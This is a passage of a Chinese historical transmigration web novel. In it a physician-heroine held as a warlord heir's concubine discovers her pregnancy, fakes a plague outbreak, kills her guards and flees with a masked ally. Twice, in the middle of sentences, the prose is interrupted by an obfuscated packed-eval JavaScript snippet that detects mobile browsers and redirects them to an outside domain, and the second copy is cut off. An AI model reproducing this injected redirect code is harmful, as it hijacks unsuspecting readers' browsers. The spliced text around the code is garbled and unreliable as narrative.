查明起火原委并不困难,半个时辰后,崔芜被带到正堂。 此番事故闹得不小,孙景虽被及时救出,到底呛了浓烟,又受了惊吓,竟是发起高热,口中呓语不断。 孙夫人忧心幼子,陪在床边寸步不离,只对外放话,必要查清此事,严惩元凶,给心爱的小儿子一个交代。 主母震怒如斯,连孙彦都没了插手余地,有资格坐镇堂上以一府之主身份问话的,唯有镇海军节度使孙昭。 崔芜心知这一遭过后,自己与孙家人算是彻底撕破脸。干脆破罐子破摔,倨傲不跪,就这么冷冷地看着孙昭。 陪坐一旁的孙彦心头咯噔,厉声斥责道:“父亲面前,岂容你放肆!还不跪下!” 崔芜嗤笑:“他是你爹,又不是我爹。” 孙彦越发震怒,这怒中却是暗藏隐忧,盖因他深知父亲脾性,被个出身下贱的女子如此顶撞,无论如何无法善了。 孙昭却是看也不看崔芜,只淡淡吩咐道:“搜!” 侍立阶下的部曲领命而去。 崔芜知道他要搜什么,无非是疑心自己与外贼串通,想从居所寻出蛛丝马迹。幸而她早有准备,将忽悠来的匕首藏在花根底下,想来部曲不会留意。 事实也的确如此,部曲并未从崔芜院落发现端倪,倒是孙昭身边的裨将匆忙赶来,下跪回禀道:“末将奉节帅之命封锁城门,可看守城门的校尉说,半个时辰前,有一队人马身着府中部曲服色,手持郎君手令,声称是奉命出城办事。” “守城的校尉亲自勘验过,手令所盖,的确是郎君调动部曲的印鉴。” 崔芜在一旁听着,联系前因后果,不难推测出:那位不知来历、不明身份的黑衣人,费了偌大力气潜入书房,目的就是寻到这枚印鉴。 孙昭垂眸:“出城的只有人?” 裨将道:“这些人押送着车马,里头都是药材。” 孙昭曲指在案上扣了扣,并不显得如何惊讶。 崔芜暗搓搓地竖着耳朵,只盼孙昭多说几句,好从字里行间推断出更多信息。 孙昭却一字不提,阴鸷锐利的目光终于转向崔芜:“将这贱婢拖出去,乱棍打死。” 崔芜:“……” 她精神一振:机会来了! 崔芜当然不是脑子被板砖拍了,只是于她而言,“杖毙”未尝不是机会——她是学医的,知道不少让生命体征暂时消失的法子,虽说风险不小,可一旦装死成功,就能脱离节度使府,从此海阔天空。 纵然时逢乱世、风雨如晦,可对生有双翼的飞鸟而言,宁可搏击风雨,也不愿困守金笼。 她算盘打得响,却算漏了孙彦。眼看部曲上来拖人,他摆手拦下,竟然挡在崔芜身前:“请父亲暂留她一命。” 孙昭眼神不善。 “此女吃里爬外、勾结外敌,更欲离间你们兄弟情谊,”他审视着长子,“你还要为她求情?” 孙彦:“是。” 孙昭冷笑:“你可还记得,你未过门的妻子是吴氏六娘,不日便要完婚?” 孙彦道:“儿子没忘。” 孙昭:“你既没忘,就该好生处理明白自己的后宅事,而非优柔寡断、拖泥带水,以致拖累己身!” 他一指崔芜,语气是少见的冷戾:“红颜祸水莫过于此,若留下她,只怕孙氏再无安宁之日。” 崔芜被“红颜祸水”四个字扎了心,嗤笑一声。 孙昭与孙彦父子俩的目光顿时扫来。 “红颜祸水?”崔芜慢悠悠地道,“孙节度,你别忘了,当初可是你儿子死皮赖脸,非要把我带回府里。” “我是红颜祸水,那他是什么?靠下半身想事的种马?” 孙昭眼神森然,孙彦倒抽一口冷气。 他一直以为崔芜只是牛心左性转不过弯,今日才知,这女子根本是个疯子。 “你都听到了?”孙昭却并未发怒,想来如崔芜这般出身卑贱的“玩意儿”,也不值得吴越之主动怒,“你还要容这贱人活着?” 孙彦却道:“她虽不懂规矩,到底怀了我的血脉,还请父亲看在她腹中孙氏骨血份上,容她生产之后再作处置。” 孙昭:“……” 崔芜瞳孔巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458109|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震。 这个晴天霹雳几乎震散她的神魂,若非这些年的穿越际遇将心智磨练得足够坚忍,几乎当场失态。 她相信孙彦没说谎,这男人虽然既狗且渣,却不大会在这种事上瞎编乱造。回想起来,这些时日身体确实有些异样,只是崔芜满心满念都在如何落跑,根本没往那方面想。 以至于被孙彦占得先机,大约在命郎中为她诊治外伤时,他就发现了此事,只是一直没声张,就为了在最关键的时刻拿捏她一把。 想通关窍,崔芜恨得牙根痒痒。 孙昭却犹自不信,当即命人寻来府医,为崔芜诊脉后,得出一个不出所料的结论:“这位姑娘确实已有将近两个月的身孕,只是胎气尚未坐稳,需安心静养。” 孙昭不把崔芜当回事,却不能不顾及她腹中孩子。即便他不在乎,孙夫人也不能答应。 “这毕竟是彦儿的第一个孩子,也是咱们孙家的骨血,”她说,“旁的我不管,孩子必须留下!” 孙昭还有犹疑,实在是孙家这个亏吃得不小:“她如今就敢仗着彦儿宠爱勾结外人、离间兄弟,若真生了孩子站住脚,指不定能掀起什么风浪。” 他背手在屋里踱了两圈,下定决断:“孩子可以生,人却不能留,不然和吴家也不好交代。” 孙夫人想了想,应承了。 *** 孙家的这番打算,崔芜并不知晓。托身怀六甲的福,她没有立刻被拖出去乱棍打死,而是获准回到原先的偏院,由郎中为其诊脉安胎。 这对崔芜而言,并不算什么好消息。 她虽暂时逃过一劫,院落看守却越发紧密:屋里两个婢女近身伺候,院子里亦有四个膀大腰圆的仆妇待命,更别提院外的部曲暗卫。 如此里三层外三层,彻底断绝了逃跑的可能。 比坐牢更棘手的,则是她腹中多出来的生命。 这是崔芜从未想过,或者说,拒绝考虑的可能。现代人的灵魂没有“为母则刚”的觉悟,也不具备繁衍血脉的本能,而这孩子来临的时间点太微妙、太尴尬,仿佛他的存在只是为了提醒她,身不由己的无奈与尊严被打碎的屈辱。 这让崔芜胸口烦闷,恨不能大吼大叫,或者抓起陈设乱砸一通。 但她终究克制住自己情绪,因为这时孙彦走了进来,目光落定在她身上,好似覆了一层严霜。 “一早提醒过你,节度使府不比旁的,趁早收起你那些小聪明,”他的视线下挪到崔芜腹部,略略缓和,“若非你时运不错,如今已被拖去乱葬岗上。” 崔芜还没从震荡的情绪中恢复过来,这个突如其来的孩子仿佛一条鸿沟,将她阻隔在“逃跑”的另一端。 因为这一点,她无法对他产生期待,血脉相连也不行。 “我宁可被拖去乱葬岗,”崔芜平静地说,“好过被困于孙家后宅,当一条摇尾乞怜的狗。” 孙彦不意她刚经历过一场生死危机,脾性还这么刚硬,一时怒恨交加。然而随即,他想起医者所言,崔芜胎气不稳,又将到了嘴边的发作生生压下。 “你以为你是摇尾乞怜的狗?你可知如今的世道,多少人想当一条太平犬都不得!”孙彦冷笑,却不欲详说,唯恐漏了一两句口风,被她知晓地理风貌,趁机逃走,“你一介弱质女流,离了节度使府能有什么下场?好一点的,被人牙拐了卖入青楼,若是沦为菜人,连具全尸都保不住!” 所谓“菜人”,就是每到王朝末年或是饥荒年代,贫苦百姓为了给家人寻得一线生机,被迫到市场上,将自己当作肉食卖掉。 那是史书中最为黑暗的时代,惟其如此,才会引来执笔者“四海渊黑,中原血红,有生不如无生,为人不若为鬼”的感叹(1)。 崔芜并非困囿闺中的乱世土著,对府墙外的腥风血雨有着清晰的认知,但她依然向往墙外天地。 “即便是再次卖入青楼,或是沦为菜人,也好过被困在后宅当妾,”崔芜说,“至少,我能选择自己的命运。” 孙彦一时恼恨,一时又不解——不明白她一介纤纤弱女,怎会有这般烈性的脾气,哪怕知晓怀了自己的骨肉,也不肯说一句软和话? “你连我这节度使府都走不出去,还说什么选择自己的路?”孙彦冷哼一声,心中恼意勃发,只想不遗余力地敲断崔芜傲骨,“真不知该说你是天真还是愚蠢!” 崔芜不是圣人,被他一句话激得热血上头。但过往十年的摧残磨砺,足够她在需要冷静的时候保持理智。 她就这么冷静到近乎冷漠地看着孙彦,一双点漆眼眸好似深潭,不见底。 以孙彦的城府,都被她看得心头微凉。转念一想,这女子已然有了自己的骨血,只要顺利产子,心思便算安定下来,再做些水磨工夫,总能叫她心甘情愿地服侍自己。 打定主意,他语气也和缓了许多:“你且安心养胎,待生下孩子,我自能说服父亲母亲,给你一个名分。” “我亦打听过,父亲为我定下的吴氏六娘温柔贤淑,闺中颇有令名。只要你安分守己,用心服侍主母,她必能容你。” 他用简单的三言两语,描述出来日的屈辱与压抑,而她是戴着镣铐的囚犯,即将被押入无边金笼。 崔芜郁气上涌,陡然喷出一口鲜血。 4. 第四章 守约 崔芜那口血吐得很及时,孙彦没再给她添堵,唤郎中来诊脉开方,自己则带着寒汀走出院门。 待得拐进僻静处,寒汀有些忍不住,时不时瞟向孙彦。 孙彦留意到,眼神冰冷:“何事?” 寒汀欲言又止:“郎君娶妻在即,又是那么一门好亲事,为何对个青楼女子如此上心?惹恼大人和夫人不说,还落不到半点好,这又何苦来哉?” 孙彦心头本就气闷,闻言越发不悦:“什么时候轮到你来做我的主?” 寒汀心头一凛,不敢多言。 孙彦走了两步,实在郁结难纾,反而自己提起话头:“你说,她心里可有我?” 寒汀头皮发麻,心说:祖宗欸,这我哪知道? 嘴上却不敢如此直接,思忖片刻才道:“郎君风仪俊朗、出身高贵,哪个姑娘家不倾心?” 孙彦可没那么容易敷衍:“那她为何牛心左性,只想着从我身边逃走?” 寒汀揣度着孙彦心意,小心翼翼道:“许是因为郎君成婚在即,芳荃姑娘心有不忿……” 孙彦倏尔扭头:“怎么,她出身风尘,还敢妄想正妻之位?” 寒汀赔笑道:“这天下女子,谁不想夫君一心一意待自己?属下瞧着,芳荃姑娘虽出身青楼,却有傲气,约莫也不能例外。” 他这边扯出一身冷汗,孙彦却信了,以他节度使继承人的心高气傲,当然更愿意相信崔芜是因要与人分享夫君,才钻了牛角尖。 然而他仍有犹疑:“你说今晚之事,她可曾与外贼勾结?” 寒汀不假思索:“郎君不是查了芳荃姑娘身世?她自六岁起就被卖进楚馆,这些年没踏出过大门一步,哪来的机会勾结外贼?依属下之见,今晚之事多半是巧合,芳荃姑娘也没这个胆子。” 孙彦想想,也不认为崔芜有这个胆魄和能耐,遂信了,冷哼一声道:“原是我太纵着她,纵得她无法无天,不知轻重!若不磨平她的性子,还不知要闹出多少事端!” 寒汀劝道:“左右芳荃姑娘有了郎君的血脉,这女人有了孩子,前程荣辱系于一人之身,眼底便再看不到旁的。” 孙彦深以为然,越发觉得自己未雨绸缪:“也是。等有了孩子,她的心也该定了。” 崔芜却没那么容易低头认命,虽说突然有孕的消息给她以莫大震动,但她独自坐在房中,盯着案上烛火怔怔出神时,脑子里盘算的仍只有一个念头:我不能留在这里。 可是该怎么做? 崔芜一时想不到法子,干脆不为难自己。婢女送来晚食,她验过无毒,哪怕没胃口也硬逼着自己塞下。吃完倒在床上,强压下重重心事,一遍又一遍告诉自己:睡吧,养精蓄锐才能应付来日。 毕竟逃跑是个体力活,不把身体养得康健,就算出了这道门槛,又能逃多远? 现代人的好处便是想得开,哪怕一朝跨越千年,回到人命如草芥的乱世,也能忍下宽如天地间的落差。 崔芜强迫自己闭目休息,却哪里睡得着?就这么挨到三更,窗外虫声吱呀,她刚生出一点迷迷糊糊的睡意,就听门外传来闷响,像是重物倒地。 崔芜激灵了下,瞬间清醒,一边蹑手蹑脚下床,一边抄起充当摆设的花瓶。刚在门边埋伏好,门板便悄然滑开,崔芜想都不想,卯足劲砸过去,那人身手却异乎寻常的矫健,轻易扣住她手腕,居然还有余力合上门板。 “是我。”他说。 崔芜一愣,听着声音熟悉,准备好的后招再发不出:“是你?你不是出城了?怎么、怎么又回来了?” 不请自来的这位,正是偷运药材出城,连累崔芜险些没命的黑衣人。 崔芜目瞪口呆地看着他,当初提议与对方合作,完全是死马当活马医。听说对方伪造手令骗开城门,她已经做好肉包子打狗的准备,不曾想想这本该远走高飞的不速客,竟然又回到天罗地网的节度使府! “你、你该不会是,”她难以置信,“为了……我?” 男人照旧黑衣蒙面,平静目光映照出崔芜国色无双的容颜,又若无其事地转开:“你我有约在先,怎可食言?” 明知对方是为了自己回来,崔芜还是确认道:“你可知孙家父子已然察觉你们偷运药材出城之举?” 黑衣人颔首:“节度使府下令封锁城门,我已有猜测。” 崔芜:“我虽不知你们为何要偷运药材,但孙家父子极为震怒,一定会百般追杀。你现在的处境不比我强多少,你可知晓?” 黑衣人微哂:“孙氏手段,不过如此。” 崔芜怀疑他在嘴硬,可惜没有证据:“你自身难保,如何带我离开?” 黑衣人:“你我只有两人,反倒好办。乔装易容,混在百姓中,总能出得城去。” 如果崔芜只是个寻常婢女,这招的确可行。但她已在孙昭面前挂了号,孙彦更像防贼一样盯着她,但凡她从节度使府消失,润州城必定全城戒严。 到时莫说她,眼前这位也未必能全身而退。 “孙彦不会放过我的,”她说,“你此刻带我离开,不出半个时辰,镇海军必定倾巢出动,将这城中每一寸角落都翻个底朝天。” 黑衣人微微蹙眉,用审视的目光打量她,显然没想到一个小小女子,能有这么重的分量。 崔芜看出他的怀疑,气笑了:“你是不是忘了,自己怎么伪造的手令印鉴?你觉得孙家父子会看不出咱俩是串通好的?” 黑衣人:“若是孙家父子已然看破,为何留你性命?” 崔芜:“……” 她别开眼,右手不自觉地抚上小腹。 “也许是为了留着我引你上钩,”崔芜平复了下情绪才道,“你就不怕节度使府设下天罗地网,只等守株待兔?” 黑衣人:“你助我盗印,我带你出城,很公平。” 崔芜揉了揉额角:“硬闯城门绝对不行,这事我倒有个法子,只不知你身边可有足够人手?” 黑衣人不置可否:“你且说来听听。” 崔芜于是探过头,在他耳畔低声说了几句。 *** 黑衣人身手矫健,离去时如潜入一般,未曾惊动任何一名部曲。 但孙彦似乎察觉到什么,两个时辰后,天光未亮,房门突然被大力撞开。他屏退侍从,独自闯进屋,见崔芜裹在被中睡得安稳,不禁冷哼一声:“你倒是睡得安稳!” 崔芜这一宿接连被打断睡意,其实休息得很不好。孙彦进来时,她还迷糊着,分明疲惫到极点,却要打叠精神应付孙彦,心情自然不会太好:“你又发什么疯?” 孙彦先是大怒,见她毫无惧色,脸上只是一派纯然的困倦,又有些狐疑:“你不知道?” 崔芜没好气:“我成天待在这见不得人的地方,能知道什么?” 孙彦有意诈她:“昨夜贼人再度闯入节度使府,已被侍卫擒拿!他招认说,与他里应外合之人,就是你。” 他紧盯崔芜,试图瞧出心虚或者不安,却失败了。崔芜甚至懒得坐起身,只管往被窝里缩了缩,用手背揉着眼:“他既这么说,那便是我了。” 她若矢口否认,孙彦多半会起疑心。但她应得痛快,孙彦反而不确定了:“你不为自己辩解?” 崔芜冷笑:“反正你从来不会听人说话,辩解有用吗?正好,把我打成奸细,再将我逐出节度使府,大家干净!” 孙彦认定她是赌气使小性,脸色缓和下来:“我不过白问一句,怎就认定你是奸细?也罢,不是就不是,想来是那人为求活命,胡乱攀咬,不必当真。” 崔芜不担心自己,唯一忧虑的是黑衣来客行动不慎,被孙府部曲擒下。此时听孙彦言语,她便断定,那人已经平安逃脱。 不然以孙大少爷的尿性,哪有闲心跑来兴师问罪? 十八般大刑挨个轮遍拷问口供还来不及呢。 崔芜放下心来,翻身还要再睡,孙彦却走上前,自顾自地宽衣解带。 崔芜睡意瞬间尽去:“你做什么!” 孙彦掀开被褥,驾轻就熟地揽住她腰身。崔芜身体紧绷,使出吃奶的力气才强忍住将他踹下床的冲动。 孙彦却会错了意,只以为她浑身僵硬是被接连闹了两日的“贼寇”吓的,柔声安抚道:“莫怕,这节度使府不说是龙潭虎穴,也是守卫 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“到时,府里没有夫人压着,一应用度都由你说了算。待你生下孩儿,想去哪逛也都由着你。” 崔芜闭眼听着,胸口烦躁非但没有平息,反而愈演愈烈。她像头被捆住手脚的兽,无法挣脱也不能反抗,只能将床单死死攥在手里。 *** 半个月后,三月十八,黄道吉日,宜嫁娶。 早在三日前,节度使府就挂上彩绸红幔,门口人来人往,紫檀木凿成的门槛被生生磨平一层。 吉时定在傍晚,从大清早起,府中下人便忙得团团转。崔芜隐约听到喜乐声,透过门缝窥视,发现侍女和仆妇被调走大半,倒是院门口的部曲非但没少,反而多了两人。 看来,孙彦也没完全放心,仍防着她趁乱逃走。 崔芜笑了笑,将门窗掩好,自己折回屋里坐下,静候傍晚。 期间,部曲来送来午食,两荤两素,摆了花团锦簇一案席。崔芜没跟自己过不去,每样尝了点,待得夜色初临,忽听前院传来隐隐骚动。部曲急促的脚步声来回奔走,有人喊道:“关府门,所有人分开安顿,下仆去后院,宾客在东西跨院!” 还有人道:“去请郎中,将润州城里的郎中都唤来!” 崔芜唇畔抿出一丝笑意:成了! 这是她半个月前定下的计策:借江北大疫之机,在城中传播瘟疫四起的消息,待得百姓人心惶惶,再设法令吴家送嫁的队伍接触到漆树汁液。 早在春秋时期,越国便有栽培漆树的记录(1),要寻到这种植物并不难。关键在于,这种树木的汁液具有极强的刺激性,会令皮肤过敏瘙痒,甚至溃烂生疮(2)。 对于临床医学并不先进的古人而言,这种症状与瘟疫十分类似,而当身患“疫病”的下仆出现在节度使府时,不必细想都能猜到,会引发怎样的骚动。 这个计谋并不复杂,倚仗的是相隔千年的医学常识落差,以及对发病时机的精准把握。即便如此,崔芜也没想到,事情居然真成了。 她深吸一口气,拉开房门,趁着看守部曲被骚动吸引之机,从花盆中飞快摸出事先藏好的匕首。 做完这一切,看守部曲也察觉到异样,转身向她走来:“郎君有命,芳荃姑娘不得擅自离屋……” 崔芜忽然捂住额角,虚弱呻吟道:“郎中在吗?我头晕……” 话没说完,她身形晃了晃,一头栽倒下去。 崔芜生得娇柔、脸色亦苍白,“孱弱”得格外有说服力。部曲吓了一跳,万万不敢让她倒在冰冷的石板地上,箭步上前将人扶住。 谁知下一瞬,崔芜猛地睁眼,抬手捂住部曲口鼻,藏在背后的匕首突出,无声无息地没入胸腹! 她解剖知识过硬,这一刀瞄准了肝脏而去,鲜血几乎是立刻喷溅出来。部曲双目圆睁,本能推开她,过分悬殊的力量对比让崔芜失了重心,险些磕倒在石阶上。 但她立刻扑回来,匕首闪电般刺出,瞄准的是心脏。 一刀毙命,毫无悬念。 5. 第五章 远走 部曲是训练有素的武人,但崔芜的第一刀太准也太狠,喷溅的鲜血带走大量体力,而崔芜犹嫌不足,狠狠搅动刀刃,用激烈的疼痛阻止了他的反抗。 部曲倒地,高大的身躯差点带倒崔芜。她连滚带爬地躲开,没忘记拔出匕首,抬头就见其他部曲已被惊动,正难以置信地看来。 崔芜咧唇一笑,纤弱身形在一干人高马大的部曲中简直没得看:“对,人是我杀的!今儿个要么你们杀了我,要么,我踩着你们尸体走出去!” 部曲们得了孙彦命令,是看守崔芜,更是护卫。可谁也想不到,这本该柔弱无助的小女子竟如此手辣心黑,出手就要人命。 她怎会有杀人的勇气? 她哪来的狠心与胆魄? 没人回答他们,就在部曲迟疑间,几道鬼魅般的影子借着夜色掩护欺入院中,刹那间刀光纵横,鲜血飞溅,部曲尸体倒了满地。 仅剩的部曲张口欲呼,背心忽然一痛,他在最后一刻艰难回头,对上崔芜冰冷漠然的眼。 “你我无冤无仇,”她低声道,“但你阻我生路、为虎作伥,就是我的敌人。” “你,该死!” 崔芜拔刀撒手,部曲无力栽倒,至死睁着一双眼,直勾勾地盯着她。 崔芜视若无睹,抬腿从尸身上迈过,毫无内疚。 “有劳诸位,”她用沾了血的指尖掠开散落鬓边的发绺,并不在意脸颊因此留下一道血痕,“小女崔芜,多谢英雄相救之恩。” 黑衣客一共三人,左右两人各持利器,簇拥着中间一道颀长身影。虽然这三位都是一模一样的打扮,也用黑巾蒙着面,崔芜还是一眼认出,这就是潜入节度使书房、与她定下互助盟约的正主。 “孙氏父子非等闲之辈,虽一时陷入混乱,很快就能回过神,”黑衣人说,“此地不可久留,须得立即离开。” 崔芜笑了笑,将沾血的匕首收入鞘中:“等的就是郎君这句话。” *** 黑衣客的判断十分准确,虽然刚开始闹出不小的混乱,但孙家父子第一时间回过神——将疑似感染疫病的下仆挪去柴房;宾客按男女分开安顿,男宾入东跨院,女宾暂住后院;再命部曲戒严全城,请郎中入节度使府。 一番安排不说滴水不漏,却也井井有条,纹丝不乱。 孙彦心里却横亘着一股不安,他倒没将今日这出乱子与崔芜联系在一起,更不认为一个小小女子能有这么大能耐,只是担心那牛心左性的女人会借着混乱生出逃遁之心,又见看守偏院的部曲迟迟没来禀报,心头便似悬着一根细丝,无论如何没法安稳。 偏巧今日是他成婚的大喜日子,满府下人围着他转,叫他想抽身也难。 直到敲过三更,府中乱象稍有平歇,他才抽出空当,命人去确认崔芜境况。 然后被横陈遍地的部曲尸首打了个措手不及。 孙彦猜到崔芜不会安分,多半要趁大婚之机闹出些许事端,却还是不曾料到,她温驯多日,一出手就是取人性命。 孙彦贵为节度使嫡长子,何时吃过这样的闷亏?一口怒火险些喷出七窍,当即点齐部曲全城搜捕。谁知屋漏偏逢连夜雨,噩耗就在这时接踵传来—— “城中百姓得知节度使府闹出疫病,恐慌之下,纷纷逃往城外避疾。守城校尉阻拦不及,被好些人冲出城去!” 孙彦闻言呆住,这辈子脸色没这么难看过。 这个坑其实是孙家父子自己挖的,因着孙彦大婚,润州城内金吾不禁、举城庆贺。又因城中遍传瘟疫谣言,为辟谣也好,安抚人心也罢,孙昭居然天才地颁布了一道命令:大婚当夜,润州城内举办灯会,与民同乐。 古代娱乐节目匮乏,通宵灯会确实能提振民心。但孙昭忘了,人群聚集能助兴,更容易引发骚乱。 于是当晚灯会,一道谣言在赏灯人群中不胫而走:节度使府爆发瘟疫,节度使疑心疫病是自日前南下的流民中传开,有意封锁城门,将接触过流民的百姓逮捕监禁。 若是换作互联网发达的现代社会,这样的无稽之谈自不会有多少人相信。但古代消息闭塞,上位者又是不恤民生的尿性,加之江北大疫愈演愈烈,流民惨状落在百姓眼中,由不得他们不信。 崔芜原本只想搅浑水,却没想效果出乎意料的好。百姓宁可信其有不可信其无,拖家带口地奔向城门,褴褛衣衫汇成滚滚洪流,声势之浩大,连守城校尉都有些头皮发麻。 谁也不知,将节度使府搅了个天翻地覆的罪魁元凶,就这么混在百姓流民中,悄无声息地离了润州城。 日色微明之际,一行人赶到润州城北二十里处驻足休整。崔芜蹲在河边,将帕子浸湿,一边将河水当作妆镜,擦去脸上和脖颈沾染的血迹,一边盘算下一步去向。 她心知肚明,逃出润州城只是开始,要想彻底脱离孙氏父子掌控,必须离开江南地界。 “先到徐州,往东可入齐鲁,向西可进河东,”崔芜捡起一根树枝,在河滩上勾画起记忆中的舆图地势,“虽然后晋皇帝是个混账王八蛋,为了狗屁帝业,将中原门户的幽云十六州送了出去,但是相较南方,后晋依然是个庞然大物。” “姓孙的再如何猖狂,也不至于在晋帝的眼皮底下蹦跶吧?” 换算成数百年后的地理版图,齐鲁约等于山东,河东则大致能和山西划等号。而在当时的舆图中,这两处都是后晋的地盘。 虽然崔芜怀疑,失去幽云十六州的庇护,后晋对这些地域的控制力还有多少。不过还是那句话,浑水才好摸鱼,于她而言,乱局并不是全然的坏事。 “大不了死于乱军中,”崔芜做好了心理准备,“拼力搏命,总好过困在节度使府的后宅。” 打定主意后,便是如何完成接下来的路途。 “我跟他的约定,是离开润州城,如今我逃出生天,交易就算结束,”崔芜思忖着,“这帮人不简单,南下采买药材,多半是为了北方大疫。至于他自己,搞不好也是割据一方的人物。” 这个推断是有依据的,从此人谈论孙氏父子的态度,以及他调度麾下如臂指使来看,他极有可能如孙氏父子一样,久居上位,而且颇有势力。 与这样的人交好,亏不了。 崔芜权衡过利弊,起身走过去。黑衣人亦在原地休整,却不是完全放松戒备,而是留了两人时刻关注周遭动静。 见崔芜走近,两人摁住腰间佩刀,威慑之意极为明显。崔芜见状止步,整衣袂、理云鬓,行了个端正的福礼:“我有几句话想与你家郎君言明,烦请代为通禀。” 黑衣部曲跑去传话,片刻后带着崔芜过去,就见熟悉的颀长身影蹲踞水边,遮脸的面罩已经除去。他负手转身,微微颔首:“姑娘有何见教?” 崔芜:“……” 她直勾勾地盯着眼前人,心中升起疑问:话说,她刚才想说啥来着? 崔芜并非没见过世面,孙彦为人如何姑且不论,相貌却是无可挑剔。可与眼前之人相比,高下立见。 这差距并非在眉眼轮廓,而是眼前人年岁不算大,气度却甚是沉稳,举手投足从容不迫,眼角更透着一股极为锐利的气息。 打个比方,若说孙彦是吹拂过杏花雨的江南烟柳,矜贵而目无下尘,那眼前人就是映照过万年月的高山冰雪,冷冽、从容,清贵下透着凛然,温润中藏着杀机。 这是久居上位才能养出的气质。 此人绝不会是寻常白衣。 崔芜盯得有些久,那人皱了皱眉,语气还算和缓:“姑娘想说什么?” 崔芜一怔,终于回神了。 “我来谢过郎君相救之恩,”她说,“不知郎君可否告知姓名?小女日后必定相报。” 男人没把一个小女子的客套话放在心上,神色淡淡:“不必了。我等还有要事在身,就此别过。” 崔芜猜到他们多半不想带自己同行,却没想到这人如此果断,嘴上说“别过”,人已转身,打算抬腿走人。 崔芜语速飞快:“听闻北地大疫,郎君偷运药材,可是为了疫症?” 男人脚步顿住。 崔芜:“我听孙彦提过一嘴,你们运出城的药材以麻黄、桂枝为多。麻黄有发汗散寒、宣肺平喘的功效,桂枝同样可以发汗解肌、温通经脉。” “敢问郎君,得病之人可是发热恶寒,头痛乏力,严重者甚至腹泻呕吐?”(1) 男人终于转过身,目光极其锐利:“姑娘精通医理?” 凭这一句,崔芜便知自己说中了症状。 她心里有了七八分把握,只是没见到病人,终究不敢轻易下结论:“疫病会过人,若是病者不在少数,最好按照病情轻重将其分开隔离。另外,病气会通过口沫、呕吐物及粪便传开,诊脉送药时,务必以布巾罩面,过后仔细洗手。粪便不可随意倾倒,须得深埋土下,再撒上石灰,以免病气蔓延。尤其是,要保持水源清洁。” 男人原本不置可否,待到后来却听住了,神色逐渐专注:“还有吗?” 崔芜想了想:“最好每隔一两个时辰就让病人饮些淡盐水,若是条件允许,也可在里面加入少量糖粉。” 她说的有保留,只因这个时代,盐和糖都是稀缺资源,她拿不准眼前之人是否舍得为些与己无关的病患下血本。 男人面露沉吟,忽然岔开话题:“姑娘往后有何打算?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林中备有快马,行囊干粮一应俱全,看得出来,这一行人原本打算尽快离开苏浙地界。只是如今多了个崔芜,计划也要做出调整,最直接的问题莫过于—— 崔芜不会骑马。 同行之人有女眷,按说雇辆马车是最保险的,可他们好不容易逃出润州城,谁也不会傻到重入虎口。 幸而崔芜不是土著女性,浑不将男女大防放在心上:“可否劳烦萧郎君的贵属带我一程?” 两名部曲相互看了看,又齐刷刷地转向自家郎君。 男女同乘不合礼数,但眼下确实没有更好的法子。萧郎君也不是什么拘泥礼法的迂腐之辈,稍一沉思就对崔芜伸出手。 崔芜不意他会主动伸手,但对方坦然总比拘束扭捏强得多。她毫不犹豫地抓住男人手掌,借力一跃上了马背,然后十分自然地伸出胳膊……揽住对方腰身。 萧郎君不甚明显地一僵。 崔芜察觉异样,调整了下手臂角度:“呃……我用衣物将手裹住?” 萧郎君缓过神:“不必。” 下一瞬,他扬鞭甩下,马儿撒开四蹄,从林中穿行而过。 崔芜做好驰骋颠簸的准备,却不曾想骑马行出数里,前方出现一带码头。一行人下马,要在此处改换舟船,沿运河北上,再于徐州转入汴水,借后晋地界西去。 凭着寥寥数语,崔芜在脑中勾勒出一条路线图,又追问道:“往西是何处?” 萧郎君没说话。 崔芜心知他对自己不曾完全放心,也没揪着不放,只在心里盘算:晋帝的实控地盘主要在齐鲁、河东,再往西,虽说也是后晋国土,掌控力却没那么强,但凡有些实力的,都能割据一方占山为王。 这位萧郎君只含糊说了“西北”,不知是朔方、关内,抑或是……旁的什么地方? 面上却不动声色:“郎君自称姓萧,莫非是兰陵萧氏后人?” 乱世礼崩乐坏,上位者偏爱往脸上贴金,非得给自己寻个有名望的祖宗。好比那位将幽云十六州打包送与外族的后晋皇帝,就认了前朝景帝年间的丞相为祖宗。 萧郎君却没这个爱好:“萧某与兰陵萧氏并无瓜葛。” 想了想,约莫是觉得要建立长久的合作关系,不好一味隐瞒,于是道:“萧某出身河西,家中唯有一长兄,已经过世多年,姑娘唤我萧二便是。” 崔芜正待开口,忽听马蹄声远远传来。她抬头望去,瞳孔瞬间凝缩,只见来者是一队精悍骑士,打头之人幞头皂靴、面带怒容,不是别个,正是孙彦。 崔芜笑意骤敛,险些破口大骂。 阴魂不散的丧门星! 6. 第六章 投水 崔芜并非没考虑到孙彦追来的可能,只是当海阔天空近在眼前,谁也不愿考虑重回牢笼的可能。 希望打碎的一刻,她的心沉到谷底,眼前河水好似无端暴涨,徐徐淹没脚背,又一分一寸没过头顶。 “凭什么!”崔芜像头被囚困的兽,绝望又愤怒地磨着爪牙,“凭什么他能像摆布宠物一样操控我的命运?凭什么他一次见色起意,我就得折断羽翼,囚困金丝笼里?” 他以为他是谁? 他姓孙的算老几! 崔芜胸口起伏,又强迫自己冷静。深吸一口气,她听到自己开口:“萧二郎君,我怕是没法随你去西北了。” 萧二亦瞧见孙氏追兵,目光微一闪烁。 他虽没开口,崔芜却不难揣测,以他的身份和处境,必不想于此时此地,和孙氏起冲突。 潜入节度使府伪造手书是一回事,与地头蛇当面撕破脸是另一回事。 这与萧二为人如何并无太大干系,而是他身份与职责所在,不能以身犯险。 于他而言,暂避锋芒是最好的选择。 “孙彦是冲我来的,与萧郎君无关,”崔芜说,“你现在走,孙彦未必会追。” 